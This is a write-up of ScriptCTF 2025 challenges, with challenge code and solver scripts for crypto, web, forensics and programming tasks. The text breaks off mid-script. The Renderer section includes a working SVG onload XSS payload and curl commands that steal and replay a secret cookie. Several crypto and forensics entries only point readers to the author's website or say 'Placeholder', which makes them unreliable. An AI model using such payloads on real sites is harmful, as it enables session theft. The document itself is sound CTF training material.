ScriptCTF 2025

Writeup for most challenges in ScriptCTF2025. Also check out krauq.com, now in beta (Free AI toolbox with tradable tokens)

Misc

Read The Rules (1059 solves)

Description:

Read the rules. They can be found in the #rules channel in discord, or here. The rules will contain a link, which will ultimately contain the flag.

View Hint: Hint 1

The final page will just display the flag.

View Hint: Hint 2

If you can't find the flag, you can make a ticket on our discord.

View Hint: Hint 3

You shouldn't need three hints to solve this challenge, come on!

Solution:

Normally I don't include the welcome challenge but adding for future reference.

Reading comprehension check, click the link in the description, then click the link on the rules page to see the flag in the top right. scriptCTF{600D_1ucK_5011D3r1}

Div (720 solves)

Description:

Author: NoobMaster

I love division

Resources:

# chall.py
import os
import decimal
decimal.getcontext().prec = 50

secret = int(os.urandom(16).hex(),16)
num = input('Enter a number: ')

if 'e' in num.lower():
    print("Nice try...")
    exit(0)

if len(num) >= 10:
    print('Number too long...')
    exit(0)

fl_num = decimal.Decimal(num)
div = secret / fl_num

if div == 0:
    print(open('flag.txt').read().strip())
else:
    print('Try again...')

Solution:

We need to enter a number where if we divide secret by it, we get 0. Obviously we enter Infinity. Start an instance then send it to get the flag.

nc play.scriptsorcerers.xyz 10231
Enter a number: Infinity
scriptCTF{70_1nf1n17y_4nd_b3y0nd_87463b62ba69}

emoji (513 solves)

Description:

Author: noob-abhinav

Emojis everywhere! Is it a joke? Or something is hiding behind it.

Resources:

out.txt 🁳🁣🁲🁩🁰🁴🁃🁔🁆🁻🀳🁭🀰🁪🀱🁟🀳🁮🁣🀰🁤🀱🁮🁧🁟🀱🁳🁟🁷🀳🀱🁲🁤🁟🀴🁮🁤🁟🁦🁵🁮🀡🀱🁥🀴🀶🁤🁽

Solution:

The only byte that changes is the last one, if we print it in this way, we see the flag.

>>> for i in "🁳🁣🁲🁩🁰🁴🁃🁔🁆🁻🀳🁭🀰🁪🀱🁟🀳🁮🁣🀰🁤🀱🁮🁧🁟🀱🁳🁟🁷🀳🀱🁲🁤🁟🀴🁮🁤🁟🁦🁵🁮🀡🀱🁥🀴🀶🁤🁽": print(chr(ord(i) & 0xFF),end="")
... 
scriptCTF{3m0j1_3nc0d1ng_1s_w31rd_4nd_fun!1e46d}>>> 

Enchant (410 solves)

Description:

Author: NoobMaster

I was playing minecraft, and found this strange enchantment on the enchantment table. Can you figure out what it is? Wrap the flag in scriptCTF{}

Resources:

enc.txt

ᒲ╎リᒷᓵ∷ᔑ⎓ℸ ̣ ╎ᓭ⎓⚍リ

Solution:

This is the Galactic alphabet.

scriptCTF{minecraftisfun} (no spaces)

Div 2 (333 solves)

Description:

Author: NoobMaster

Some might call this a programming challenge...

Resources:

chall.py

import secrets
import decimal
decimal.getcontext().prec = 50
secret =  secrets.randbelow(1 << 127) + (1 << 127) # Choose a 128 bit number
for _ in range(1000):
    print("[1] Provide a number\n[2] Guess the secret number")
    choice = int(input("Choice: "))
    if choice == 1:
        num = input('Enter a number: ')
        fl_num = decimal.Decimal(num)
        assert int(fl_num).bit_length() == secret.bit_length()
        div = secret / fl_num
        print(int(div))
    if choice == 2:
        guess = int(input("Enter secret number: "))
        if guess == secret:
            print(open('flag.txt').read().strip())
        else:
            print("Incorrect!")
        exit(0)

Solution:

from pwn import remote

HOST, PORT = "play.scriptsorcerers.xyz", 10218

def get_bit(lo, hi, io):
    # Ask with integer m; output will be 0 or 1 (comparator)
    io.recvuntil(b"Choice:")
    io.sendline(b"1")
    io.recvuntil(b"Enter a number:")
    io.sendline(str(mid := (lo + hi + 1) // 2).encode())

    # Read the integer line (should be 0 or 1)
    line = io.recvline().strip()
    while not (line.isdigit() or (line.startswith(b"-") and line[1:].isdigit())):
        line = io.recvline().strip()
    r = int(line)
    return r, mid

def main():
    io = remote(HOST, PORT)

    lo, hi = 1 << 127, (1 << 128) - 1  # secret is guaranteed in this range

    while lo < hi:
        r, mid = get_bit(lo, hi, io)
        if r == 1:
            lo = mid       # secret >= mid
        else:
            hi = mid - 1   # secret < mid

    # Guess the recovered secret
    io.recvuntil(b"Choice:")
    io.sendline(b"2")
    io.recvuntil(b"Enter secret number:")
    io.sendline(str(lo).encode())

    print(io.recvall().decode())

if __name__ == "__main__":
    main()
# scriptCTF{b1n4ry_s34rch_u51ng_d1v1s10n?!!_9200dd934b98}

Subtract (328 solves)

Description:

Author: NoobMaster

The image size is 500x500. You might want to remove some stuff... Note: Some may call it guessy!

Resources:

coords.zip

Solution:

The file looks like pixel coordinates on a 500×500 canvas. If you naively plot every (x, y) as a white pixel on a black canvas, you’ll notice the canvas fills almost entirely—nothing readable appears. That matches the hint “remove some stuff”: maybe the absence (or parity) of certain points reveals the message.

Many coordinates are duplicated. If you count occurrences per pixel, most appear twice and a minority appear once. If you keep only the odd occurrences (i.e., pixels that appear exactly once) you remove the “noise” and letters pop out. This is effectively an XOR/parity trick: “noise” is drawn twice (cancels), signal is drawn once (remains).

Steps

  1. Parse the coordinates

    • Read the file and extract all (x, y) integer pairs.

  2. Count frequency per pixel

    • Use a hashmap/counter keyed by (x, y).

  3. Render the odd-parity mask

    • Create a 500×500 blank (black) image.

    • For every (x, y) with count % 2 == 1, set that pixel to white.

import re, numpy as np
from collections import Counter
from PIL import Image

W = H = 500
txt = open("coordinates.txt").read()
pairs = re.findall(r"\((\d+),\s*(\d+)\)", txt)
pts = [(int(x), int(y)) for x, y in pairs]

ctr = Counter(pts)

img = np.zeros((H, W), dtype=np.uint8)
for (x, y), c in ctr.items():
    if c % 2 == 1:          # keep odd occurrences only
        if 0 <= x < W and 0 <= y < H:
            img[y, x] = 255 # or use img[H-1-y, x] for flipped orientation

Image.fromarray(img).save("odd_parity.png")

Crypto

Secure-Server (541 solves)

Description:

Author: NoobMaster

John Doe uses this secure server where plaintext is never shared. Our Forensics Analyst was able to capture this traffic and the source code for the server. Can you recover John Doe's secrets?

Resources:

files.zip

Solution:

Upload files.zip to krauq.com to see a detailed writeup.

RSA-1 (696 solves)

Description:

Author: noob-abhinav

Yú Tóngyī send a message to 3 peoples with unique modulus. But he left it vulnerable. Figure out :)

Attachments

n1 = 156503881374173899106040027210320626006530930815116631795516553916547375688556673985142242828597628615920973708595994675661662789752600109906259326160805121029243681236938272723595463141696217880136400102526509149966767717309801293569923237158596968679754520209177602882862180528522927242280121868961697240587
c1 = 77845730447898247683281609913423107803974192483879771538601656664815266655476695261695401337124553851404038028413156487834500306455909128563474382527072827288203275942719998719612346322196694263967769165807133288612193509523277795556658877046100866328789163922952483990512216199556692553605487824176112568965

n2 = 81176790394812943895417667822424503891538103661290067749746811244149927293880771403600643202454602366489650358459283710738177024118857784526124643798095463427793912529729517724613501628957072457149015941596656959113353794192041220905793823162933257702459236541137457227898063370534472564804125139395000655909
c2 = 40787486105407063933087059717827107329565540104154871338902977389136976706405321232356479461501507502072366720712449240185342528262578445532244098369654742284814175079411915848114327880144883620517336793165329893295685773515696260299308407612535992098605156822281687718904414533480149775329948085800726089284

n3 = 140612513823906625290578950857303904693579488575072876654320011261621692347864140784716666929156719735696270348892475443744858844360080415632704363751274666498790051438616664967359811895773995052063222050631573888071188619609300034534118393135291537302821893141204544943440866238800133993600817014789308510399
c3 = 100744134973371882529524399965586539315832009564780881084353677824875367744381226140488591354751113977457961062275480984708865578896869353244823264759044617432862876208706282555040444253921290103354489356742706959370396360754029015494871561563778937571686573716714202098622688982817598258563381656498389039630

e = 3

Solution:

Paste out.txt in krauq.com to see the full writeup.

Mod (368 solves)

Description:

Just a simple modulo challenge

Attachments

#!/usr/local/bin/python3
import os
secret = int(os.urandom(32).hex(),16)
print("Welcome to Mod!")
num=int(input("Provide a number: "))
print(num % secret)
guess = int(input("Guess: "))
if guess==secret:
    print(open('flag.txt').read())
else:
    print("Incorrect!")

Solution:

from pwn import remote
import re

HOST, PORT = "play.scriptsorcerers.xyz", 10409

io = remote(HOST, PORT)

# Read banner up to the first prompt
io.recvuntil(b"Provide a number:")

# Send -1 so the service prints secret-1
io.sendline(b"-1")

# Capture everything up to the Guess prompt, extract the last integer seen
data = io.recvuntil(b"Guess:")
nums = re.findall(rb"-?\d+", data)
assert nums, f"No integers found in:\n{data!r}"
r = int(nums[-1])

# Guess secret = (secret-1) + 1
secret = r + 1
io.sendline(str(secret).encode())

# Print the result (should be the flag)
print(io.recvall(timeout=2).decode(errors="ignore"))

# scriptCTF{-1_f0r_7h3_w1n_4a3f7db1_585246562a46}

Secure-Server-2 (208 solves)

Description:

Author: NoobMaster

This time, the server is even more secure, but did it actually receive the secret? Simple brute-force won't work!

Attachments

Solution:

Placeholder

EaaS (102 solves)

Description:

Author: NoobMaster

Email as a Service! Have fun...

Attachments

#!/usr/bin/env python3
from Crypto.Cipher import AES
from Crypto.Util.Padding import pad, unpad
import os
import random
email=''
flag=open('flag.txt').read()
has_flag=False
sent=False
key = os.urandom(32)
iv = os.urandom(16)
encrypt = AES.new(key, AES.MODE_CBC,iv)
decrypt = AES.new(key, AES.MODE_CBC,iv)

def send_email(recipient):
    global has_flag
    if recipient.count(b',')>0:
        recipients=recipient.split(b',')
    else:
        recipients=recipient
    for i in recipients:
        if i == email.encode():
            has_flag = True

for i in range(10):
    email += random.choice('abcdefghijklmnopqrstuvwxyz')
email+='@notscript.sorcerer'

print(f"Welcome to Email as a Service!\nYour Email is: {email}\n")
password=bytes.fromhex(input("Enter secure password (in hex): "))

assert not len(password) % 16
assert b"@script.sorcerer" not in password
assert email.encode() not in password

encrypted_pass = encrypt.encrypt(password)
print("Please use this key for future login: " + encrypted_pass.hex())

while True:
    choice = int(input("Enter your choice: "))
    print(f"[1] Check for new messages\n[2] Get flag")

    if choice == 1:
        if has_flag:
            print(f"New email!\nFrom: [email protected]\nBody: {flag}")
        else:
            print("No new emails!")

    elif choice == 2:
        if sent:
            exit(0)
        sent=True
        user_email_encrypted = bytes.fromhex(input("Enter encrypted email (in hex): ").strip())
        if len(user_email_encrypted) % 16 != 0:
            print("Email length needs to be a multiple of 16!")
            exit(0)
        user_email = decrypt.decrypt(user_email_encrypted)
        if user_email[-16:] != b"@script.sorcerer":
            print("You are not part of ScriptSorcerers!")
            exit(0)

        send_email(user_email)
        print("Email sent!")

Solution:

The I/O was a pain so I settled on a half-manual solution.

#!/usr/bin/env python3
# EaaS fixed manual solver (no args, edit constants).
#
# What it does:
#  • Builds a login password (hex) = 3 blocks:
#        P1 = 16 zero bytes
#        P2 = first 16 bytes of b"," + EMAIL + b","  with ONE BYTE flipped
#        P3 = second 16 bytes of that same string (unaltered)
#    This passes the server asserts (no exact EMAIL in password; no '@script.sorcerer' in password).
#  • After you paste the printed “future login key” (C1‖C2‖C3‖…), it forges a 6-block ciphertext:
#        Q2‖Q3 == b"," + EMAIL + b","   (exact, so your inbox matches)
#        Q6     == b"@script.sorcerer"  (membership check passes)
#    Q1, Q4, Q5 are junk and ignored.
#
# How to use each fresh session:
#  1) Start nc:  nc play.scriptsorcerers.xyz <PORT>
#  2) Run this script. It prints a LOGIN_HEX line.
#  3) At "Enter secure password (in hex):" paste LOGIN_HEX (single line, no spaces).
#  4) Copy the server’s line “Please use this key for future login: <C_HEX>”.
#  5) Run this script again, paste that C_HEX when prompted; it prints FORGED_HEX.
#  6) In the SAME nc session: enter choice 2 (Get flag) and paste FORGED_HEX.
#  7) Then enter choice 1 (Check for new messages) to read the flag.

# ==== EDIT THIS IF YOUR BANNER SHOWS A NEW EMAIL ====
EMAIL = "[email protected]"   # from "Your Email is: ..."
# ================================================

import sys, binascii

SUFFIX = b"@script.sorcerer"  # 16 bytes

def bxor(a: bytes, b: bytes) -> bytes:
    return bytes(x ^ y for x, y in zip(a, b))

def build_mid(email: str):
    mid = b"," + email.encode("utf-8") + b","  # must be 32 bytes across two blocks after padding
    if len(mid) > 32:
        print(f"[!] Email too long for 2 blocks ({len(mid)} bytes). This challenge uses 10-char local parts; you should be fine.")
        sys.exit(1)
    return mid.ljust(32, b"A")

def main():
    mid = build_mid(EMAIL)
    M1, M2 = mid[:16], mid[16:]

    # Flip ONE byte in M1 to dodge the "email in password" assert (flip the very first local-part byte).
    # mid = b"," + <local(10)> + b"," + ...
    # The first local byte sits at offset 1.
    flip_pos = 1
    flip_mask = 0x01
    m1_mut = bytearray(M1)
    m1_mut[flip_pos] ^= flip_mask
    M1_MUT = bytes(m1_mut)

    # ---- Step 1: PRINT the login password (paste this at the first prompt) ----
    P1 = b"\x00" * 16
    password = P1 + M1_MUT + M2
    LOGIN_HEX = password.hex()
    print("\n[ Login step ] Paste this at 'Enter secure password (in hex):'\n")
    print(LOGIN_HEX)

    # ---- Step 2: Ask for the printed key and output the forged hex ----
    print("\nAfter the server prints 'Please use this key for future login: <C_HEX>', paste <C_HEX> below.")
    try:
        C_HEX = input("C_HEX: ").strip()
        C = bytes.fromhex(C_HEX)
    except Exception as e:
        print("[!] Bad C_HEX:", e)
        sys.exit(1)

    # We need at least the first 3 blocks C1,C2,C3 from that key
    if len(C) < 48:
        print("[!] Key too short; ensure you pasted the FULL hex (it must be >= 48 bytes).")
        sys.exit(1)

    C1, C2, C3 = C[:16], C[16:32], C[32:48]

    # We want:
    #   Q2 = M1  and  Q3 = M2
    # Using CBC: Q2 = Dec(C2) XOR E1, but Dec(C2) = P2 XOR C1 = M1_MUT XOR C1 (from our login).
    # So choose E1 = C1 XOR (M1_MUT XOR M1)  => Q2 = M1.
    E1 = bxor(C1, bxor(M1_MUT, M1))
    E2 = C2
    E3 = C3

    # Make the LAST block equal SUFFIX using a separate pair (E5,E6) that doesn't overlap:
    # Choose E6 = C3  => Dec(E6) = Dec(C3) = P3 XOR C2 = M2 XOR C2.
    # Need Q6 = Dec(E6) XOR E5 = SUFFIX  => E5 = (M2 XOR C2) XOR SUFFIX.
    E4 = b"\x00" * 16
    E5 = bxor(bxor(M2, C2), SUFFIX)
    E6 = C3

    FORGED_HEX = (E1 + E2 + E3 + E4 + E5 + E6).hex()
    print("\n[ Forge step ] Paste this at 'Enter encrypted email (in hex):'\n")
    print(FORGED_HEX)
    print("\nThen enter choice 1 to read the flag.\n")

if __name__ == "__main__":
    main()

Forensics

diskchal (592 solves)

Description:

Author: Connor Chang

i accidentally vanished my flag, can u find it for me

Attachments

Solution:

Just binwalk.

pdf (508 solves)

Description:

Author: Connor Chang

so sad cause no flag in pdf :(

Attachments

Solution:

Upload the pdf to krauq.com to get the flag.

Just Some Avocado (353 solves)

Description:

Author: Connor Chang

just an innocent little avocado!

Attachments

Solution:

First run binwalk to find a password-protected zip, then crack it with john:

(john fixes are not pushed to krauq.com yet)

Then open the audio file in sonic-visualizer to get the password:

Then use it on the second zip to get the flag. (d41v3ron)

scriptCTF{1_l0ve_d41_v3r0n}

Web

Renderer (535 solves)

Description:

Author: NoobMaster

Introducing Renderer! A free-to-use app to render your images!

Attachments

Solution:

Create svg payload to upload (ask AI for details):

<?xml version="1.0" standalone="no"?>
<svg xmlns="http://www.w3.org/2000/svg" width="200" height="200"
     onload="(async()=>{try{const r=await fetch('/static/uploads/secrets/secret_cookie.txt',{cache:'no-store'});const t=(await r.text()).trim();document.cookie='developer_secret_cookie='+t+'; path=/'; top.location='/developer';}catch(e){alert(e)}})()">
  <text x="10" y="20">Renderer exploit</text>
</svg>

Then upload it and get the flag.

# Replace $URL with your challenge URL (e.g., http://<host>:<port>)
TOKEN=$(curl -s "$URL/static/uploads/secrets/secret_cookie.txt")
curl -s -H "Cookie: developer_secret_cookie=$TOKEN" "$URL/developer"

# scriptCTF{my_c00k135_4r3_n0t_s4f3!_9bc4aface5d4}

OSINT

The Insider (497 solves)

Description:

Someone from our support team has leaked some confidential information. Can you find out who?

Solution:

Looking at the support team on discord, one of them has the flag in their status message.

The Insider 2 (263 solves)

Description:

Author: NoobMaster

You found out the insider, but can you find what they leaked on GitHub and put it to use? Continue where you left off...

Solution:

If you click view full bio and scroll down (not obvious this is possible), we see this.

On Github:

These are login credentials to a link at the profile in the link in the Discord profile.

The Insider 3 (385 solves)

Description:

Author: NoobMaster

It's a tradition at this point. Continue where you left off...

Solution:

Check contribution activity of NoobMaster9999 to find another repo:

The Insider 4 (171 solves)

Description:

Author: NoobMaster

Good luck! Note: max flag limit is 6 for a reason, you should be able to get it in less than that. If not, open a ticket. Flag is case insensitive

Solution:

Continuing from part 3:

Rest of writeup hidden until authors allow it, currently being used for verification.

Programming

Sums (375 solves)

Description:

Author: Connor Chang

Find the sum of nums[i] for i in [l, r] (if there are any issues with input/output format, plz open a ticket)

Attachments

#!/usr/bin/env python3
import random
import subprocess
import sys
import time

start = time.time()

n = 123456

nums = [str(random.randint(0, 696969)) for _ in range(n)]

print(' '.join(nums), flush=True)

ranges = []
for _ in range(n):
    l = random.randint(0, n - 2)
    r = random.randint(l, n - 1)
    ranges.append(f"{l} {r}") #inclusive on [l, r] 0 indexed
    print(l, r)

big_input = ' '.join(nums) + "\n" + "\n".join(ranges) + "\n"

proc = subprocess.Popen(
    ['./solve'],
    stdin=subprocess.PIPE,
    stdout=subprocess.PIPE,
    stderr=subprocess.PIPE,
    text=True
)

stdout, stderr = proc.communicate(input=big_input)

out_lines = stdout.splitlines()
ans = [int(x) for x in out_lines[:n]]

urnums = []
for _ in range(n):
    urnums.append(int(input()))

if ans != urnums:
    print("wawawawawawawawawa")
    sys.exit(1)

if time.time() - start > 10:
    print("tletletletletletle")
    sys.exit(1)

print(open('flag.txt', 'r').readline())

Solution:

Here's the solution, self explanatory.

#include <bits/stdc++.h>
using namespace std;

int main() {
    ios::sync_with_stdio(false);
    cin.tie(nullptr);

    string first;
    getline(cin, first);

    // Parse first line into array
    vector<long long> a;
    a.reserve(130000);
    long long cur = 0; bool in = false;
    for (char c : first) {
        if (c >= '0' && c <= '9') { cur = cur*10 + (c - '0'); in = true; }
        else if (in) { a.push_back(cur); cur = 0; in = false; }
    }
    if (in) a.push_back(cur);

    int n = (int)a.size();

    // Prefix sums
    vector<long long> ps(n+1, 0);
    for (int i = 0; i < n; ++i) ps[i+1] = ps[i] + a[i];

    // Answer queries
    for (int i = 0; i < n; ++i) {
        int l, r;
        cin >> l >> r;
        long long ans = ps[r+1] - ps[l];
        cout << ans << '\n';
    }
    return 0;
}
g++ solve_client.cpp -o solve_client
mkfifo in out; (cat out | nc play.scriptsorcerers.xyz 10349 | tee in &); ./solve_client <in >out; rm in out
...
scriptCTF{1_w4n7_m0r3_5um5_3b287c7e69da}

More Divisors (218 solves)

Description:

Author: Connor Chang

find length of the longest subsequence with gcd > 1 :)

Solution:

#!/usr/bin/env python3
import socket, select, sys, argparse, re, time
from collections import defaultdict

DIGITS_RE = re.compile(rb"\d+")
QUESTION_RE = re.compile(rb"(answer|send|what|length|\?)", re.I)

def sieve(limit: int):
    bs = bytearray(b"\x01") * (limit + 1)
    bs[:2] = b"\x00\x00"
    r = int(limit**0.5)
    for p in range(2, r + 1):
        if bs[p]:
            start = p * p
            bs[start:limit + 1:p] = b"\x00" * (((limit - start) // p) + 1)
    return [i for i, v in enumerate(bs) if v]

def factor_unique(n: int, primes):
    res = set()
    x = n
    for p in primes:
        if p * p > x:
            break
        if x % p == 0:
            res.add(p)
            while x % p == 0:
                x //= p
    if x > 1:
        res.add(x)
    return res

def main():
    ap = argparse.ArgumentParser(description="CTF: longest subsequence with gcd>1 (stream).")
    ap.add_argument("--host", default="play.scriptsorcerers.xyz")
    ap.add_argument("--port", type=int, default=10005)
    ap.add_argument("--sieve-limit", type=int, default=1_000_000,
                    help="prime sieve upper bound (default 1e6; OK for ~1e12 inputs)")
    ap.add_argument("--quiet-ms", type=int, default=1200,
                    help="if no data seen for this many ms, send the answer")
    ap.add_argument("--answer-format", choices=["length", "length_and_prime"], default="length",
                    help="what to send back to server")
    ap.add_argument("--capture-k", type=int, default=0,
                    help="also capture and print first K elements of the winning subsequence (stdout)")
    ap.add_argument("--debug", action="store_true")
    args = ap.parse_args()

    primes = sieve(args.sieve_limit)
    counts = defaultdict(int)
    best_p, best_cnt = None, 0
    total = 0

    # If asked to capture elements, keep some per-prime
    keep = args.capture_k > 0
    examples = defaultdict(list)

    buf = b""
    last_data_ts = time.time()
    asked = False
    sent = False

    def bump(n: int):
        nonlocal best_p, best_cnt
        pf = factor_unique(n, primes)
        for p in pf:
            counts[p] += 1
            if keep and len(examples[p]) < args.capture_k:
                examples[p].append(n)
            if counts[p] > best_cnt:
                best_cnt, best_p = counts[p], p

    def parse_numbers_from_buffer():
        nonlocal buf, total
        start = 0
        for m in DIGITS_RE.finditer(buf):
            num = int(m.group())
            total += 1
            bump(num)
            start = m.end()
        buf = buf[start:]

    def build_answer():
        if best_p is None:
            return b"0\n"
        if args.answer_format == "length":
            return f"{best_cnt}\n".encode()
        else:
            return f"{best_cnt} {best_p}\n".encode()

    def maybe_print_examples():
        if keep and best_p is not None:
            seq = examples[best_p]
            if seq:
                print(f"[first {len(seq)} elements divisible by {best_p}]: {' '.join(map(str, seq))}")

    # Connect
    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    s.setblocking(False)
    s.connect_ex((args.host, args.port))

    try:
        while True:
            rlist, _, _ = select.select([s], [], [], 0.1)
            now = time.time()

            if rlist:
                try:
                    chunk = s.recv(65536)
                except BlockingIOError:
                    chunk = b""
                if chunk:
                    buf += chunk
                    last_data_ts = now
                    if args.debug:
                        sys.stderr.write(chunk.decode(errors="ignore"))
                    if QUESTION_RE.search(buf):
                        asked = True
                    parse_numbers_from_buffer()
                else:
                    # server closed read side; try sending answer once
                    if not sent:
                        ans = build_answer()
                        if args.debug:
                            sys.stderr.write(f"\n[closing send] total={total}, best_cnt={best_cnt}, prime={best_p}\n")
                        try:
                            s.sendall(ans)
                            sent = True
                        except BrokenPipeError:
                            pass
                    break

            if not sent and (asked or (now - last_data_ts) * 1000.0 > args.quiet_ms):
                ans = build_answer()
                if args.debug:
                    sys.stderr.write(f"\n[sending] total={total}, best_cnt={best_cnt}, prime={best_p}\n")
                try:
                    s.sendall(ans)
                    sent = True
                except BrokenPipeError:
                    pass
                # read any response for a short window
                end_deadline = time.time() + 2.0
                while time.time() < end_deadline:
                    r2, _, _ = select.select([s], [], [], 0.1)
                    if r2:
                        try:
                            resp = s.recv(65536)
                        except:
                            break
                        if not resp:
                            break
                        sys.stdout.write(resp.decode(errors="ignore"))
                        sys.stdout.flush()
                break

    finally:
        s.close()

    maybe_print_examples()
    if args.debug:
        sys.stderr.write(f"\nProcessed {total} numbers. Answer={best_cnt}, prime={best_p}\n")

if __name__ == "__main__":
    main()
# scriptCTF{7H3_m0r3_f4C70r5_7h3_b3773r_78a8e5dd9afe}

Windows To Infinity (79 solves)

Description:

windows and windows and windows and windows and windows and winflag???? (if there are any questions about input/output format, plz open a ticket)

import random
import subprocess

n = 1000000
window_size = n / 2

"""
You will receive {n} numbers.
Every round, you will need to calculate a specific value for every window.
You will be doing the calculations on the same {n} numbers every round.
For example, in this round, you will need to find the sum of every window.

Sample testcase for Round 1 if n = 10

Input:
1 6 2 8 7 6 2 8 3 8

Output:
24 29 25 31 26 27
"""

a = []
for i in range(n):
    a.append(str(random.randint(0, 100000)))
    print(a[i], end=' ')

print()

proc = subprocess.Popen(['./solve'], stdin=subprocess.PIPE, stdout=subprocess.PIPE, text=True)

proc.stdin.write(' '.join(a) + '\n')
proc.stdin.flush()

def round(roundnumber, roundname):
    print(f"Round {roundnumber}: {roundname}!")

    ur_output = list(map(int, input().split()))

    correct_output = list(map(int, proc.stdout.readline().split()))

    if ur_output != correct_output:
        print('uh oh')
        exit(1)

round(1, "Sums")
round(2, "Xors")
round(3, "Means") # Note: means are rounded down
round(4, "Median") # Note: medians are calculated using a[floor(n / 2)]
round(5, "Modes") # Note: if there is a tie, print the mode with the largest value
round(6, "Mex (minimum excluded)") # examples: mex(5, 4, 2, 0) = 1, mex(4, 1, 2, 0) = 3, mex(5, 4, 2, 1) = 0
round(7, "# of Distinct Numbers")
round(8, "Sum of pairwise GCD") # If bounds of the window are [l, r], find the sum of gcd(a[i], a[j]) for every i, j where l <= i < j <= r, 

print(open('flag.txt', 'r').readline())

Solution:

// solve_windows_to_infinity.cpp
// Streaming client for "Windows To Infinity" (n=1,000,000, W=500,000).
// Rounds: Sums, Xors, Means, Medians (upper by default), Modes (tie -> largest),
// Mex, Distinct count, Sum of pairwise GCD (via divisor–totient identity).
//
// Lots of stderr debug. After each round we wait for the next "Round N:" (or "uh oh").
//
// Build: g++ -O3 -std=c++17 -pipe solve_windows_to_infinity.cpp -o solve
// Run:   ./solve play.scriptsorcerers.xyz 10302
//
// Median switch: MEDIAN_KIND=lower will use the lower median (rank = W/2) instead of upper (rank=W/2+1).

#include <bits/stdc++.h>
#include <sys/socket.h>
#include <netdb.h>
#include <unistd.h>
#include <fcntl.h>

using namespace std;
using i64 = long long;

// ---------------- TCP helpers ----------------
static int connect_tcp(const char* host, const char* port){
    addrinfo hints{}, *res;
    hints.ai_family   = AF_UNSPEC;
    hints.ai_socktype = SOCK_STREAM;
    int rc = getaddrinfo(host, port, &hints, &res);
    if(rc != 0){
        fprintf(stderr, "[!] getaddrinfo failed: %s\n", gai_strerror(rc));
        return -1;
    }
    int sock = -1;
    for(auto p=res; p; p=p->ai_next){
        sock = ::socket(p->ai_family, p->ai_socktype, p->ai_protocol);
        if(sock < 0) continue;
        // add conservative timeouts so we don't hang forever
        struct timeval tv; tv.tv_sec = 90; tv.tv_usec = 0;
        setsockopt(sock, SOL_SOCKET, SO_RCVTIMEO, &tv, sizeof(tv));
        setsockopt(sock, SOL_SOCKET, SO_SNDTIMEO, &tv, sizeof(tv));
        if(::connect(sock, p->ai_addr, p->ai_addrlen) == 0){
            freeaddrinfo(res);
            return sock;
        }
        ::close(sock); sock = -1;
    }
    freeaddrinfo(res);
    return -1;
}

static bool send_all(int sock, const char* buf, size_t len, const char* tag){
    size_t off = 0;
    while(off < len){
        ssize_t n = ::send(sock, buf+off, len-off, 0);
        if(n <= 0){
            fprintf(stderr, "[!] send failed in %s (errno=%d)\n", tag, errno);
            return false;
        }
        off += (size_t)n;
    }
    return true;
}
static bool send_str(int sock, const string& s, const char* tag){ return send_all(sock, s.data(), s.size(), tag); }

// Wait until we see "Round {want}:" OR "uh oh" OR "flag{" from the server.
// Echo everything read to stdout so you see it in real time.
static int wait_until_round_or_error(int sock, int want_next_round_num, const char* where_tag){
    fprintf(stderr, "[*] Waiting for server after %s (looking for \"Round %d:\" or error)...\n",
            where_tag, want_next_round_num);
    string needle = "Round " + to_string(want_next_round_num) + ":";
    string acc;
    acc.reserve(1<<16);
    char buf[1<<15];
    for(;;){
        ssize_t m = ::recv(sock, buf, sizeof(buf), 0);
        if(m > 0){
            ssize_t w = ::write(STDOUT_FILENO, buf, m);
            (void)w;
            acc.append(buf, buf+m);
            if(acc.find("uh oh") != string::npos){
                fprintf(stderr, "[!] Server reported mismatch (uh oh) after %s\n", where_tag);
                return -1;
            }
            if(acc.find("flag{") != string::npos){
                fprintf(stderr, "[*] Flag appeared; draining remainder.\n");
                return 1; // caller will drain to EOF and exit
            }
            if(acc.find(needle) != string::npos){
                fprintf(stderr, "[*] Saw \"%s\" — proceeding.\n", needle.c_str());
                return 0;
            }
            if(acc.size() > (1<<20)) acc.erase(0, acc.size() - (1<<19)); // keep tail
        } else if(m == 0){
            fprintf(stderr, "[*] Server closed connection while waiting after %s\n", where_tag);
            return -2;
        } else {
            if(errno==EAGAIN || errno==EWOULDBLOCK){
                continue; // keep waiting; server may still be processing
            }
            perror("[!] recv in wait_until_round_or_error");
            return -3;
        }
    }
}

// ---------------- Data structures ----------------
struct Fenwick {
    int n; vector<int> bit;
    Fenwick(int n=0): n(n), bit(n+1,0) {}
    void add(int i, int v){ for(i++; i<=n; i+=i&-i) bit[i]+=v; }
    // return smallest idx with prefix >= k  (0-based)
    int kth(int k){
        int idx=0, mask=1; while((mask<<1) <= n) mask<<=1;
        for(int d=mask; d; d>>=1){
            int nxt=idx+d;
            if(nxt<=n && bit[nxt]<k){ idx=nxt; k-=bit[nxt]; }
        }
        return idx;
    }
};

struct SegTreeMode {
    struct Node{ int f,v; };
    int N; vector<Node> t;
    static Node merge(const Node&a,const Node&b){
        if(a.f!=b.f) return (a.f>b.f)?a:b;   // higher freq wins
        return (a.v>b.v)?a:b;                // tie -> larger value wins
    }
    SegTreeMode(int sz=0){ init(sz); }
    void init(int sz){
        N=1; while(N<sz) N<<=1;
        t.assign(2*N, {0,0});
        for(int i=0;i<sz;i++) t[N+i] = {0,i};
        for(int i=N-1;i;i--) t[i]=merge(t[i<<1],t[i<<1|1]);
    }
    void setVal(int pos,int f){ int i=N+pos; t[i]={f,pos}; for(i>>=1;i;i>>=1) t[i]=merge(t[i<<1],t[i<<1|1]); }
    int modeVal() const { return t[1].v; }
};

// ---------------- Main ----------------
int main(int argc, char** argv){
    ios::sync_with_stdio(false);
    cin.tie(nullptr);

    const char* host = (argc>=2? argv[1] : "play.scriptsorcerers.xyz");
    const char* port = (argc>=3? argv[2] : "10302");

    fprintf(stderr, "[*] Connecting to %s:%s ...\n", host, port);
    int sock = connect_tcp(host, port);
    if(sock < 0){ fprintf(stderr, "[!] connect failed\n"); return 1; }
    fprintf(stderr, "[*] Connected.\n");

    const int n = 1'000'000;
    const int W = n/2;                   // 500,000
    const int WINDOWS = n - W + 1;       // 500,001
    const int VMAX = 100000;

    // 1) Read 1,000,000 integers dumped by the server
    vector<int> A; A.reserve(n);
    {
        const int BUFSZ = 1<<20;
        vector<char> buf(BUFSZ);
        long long cur=0; bool in=false;
        long long bytes_total=0, last_progress=-1;
        fprintf(stderr, "[*] Reading numbers from server...\n");
        while((int)A.size() < n){
            ssize_t m = ::recv(sock, buf.data(), BUFSZ, 0);
            if(m <= 0){
                perror("[!] recv while reading numbers");
                fprintf(stderr, "[!] Parsed %d/%d numbers so far.\n", (int)A.size(), n);
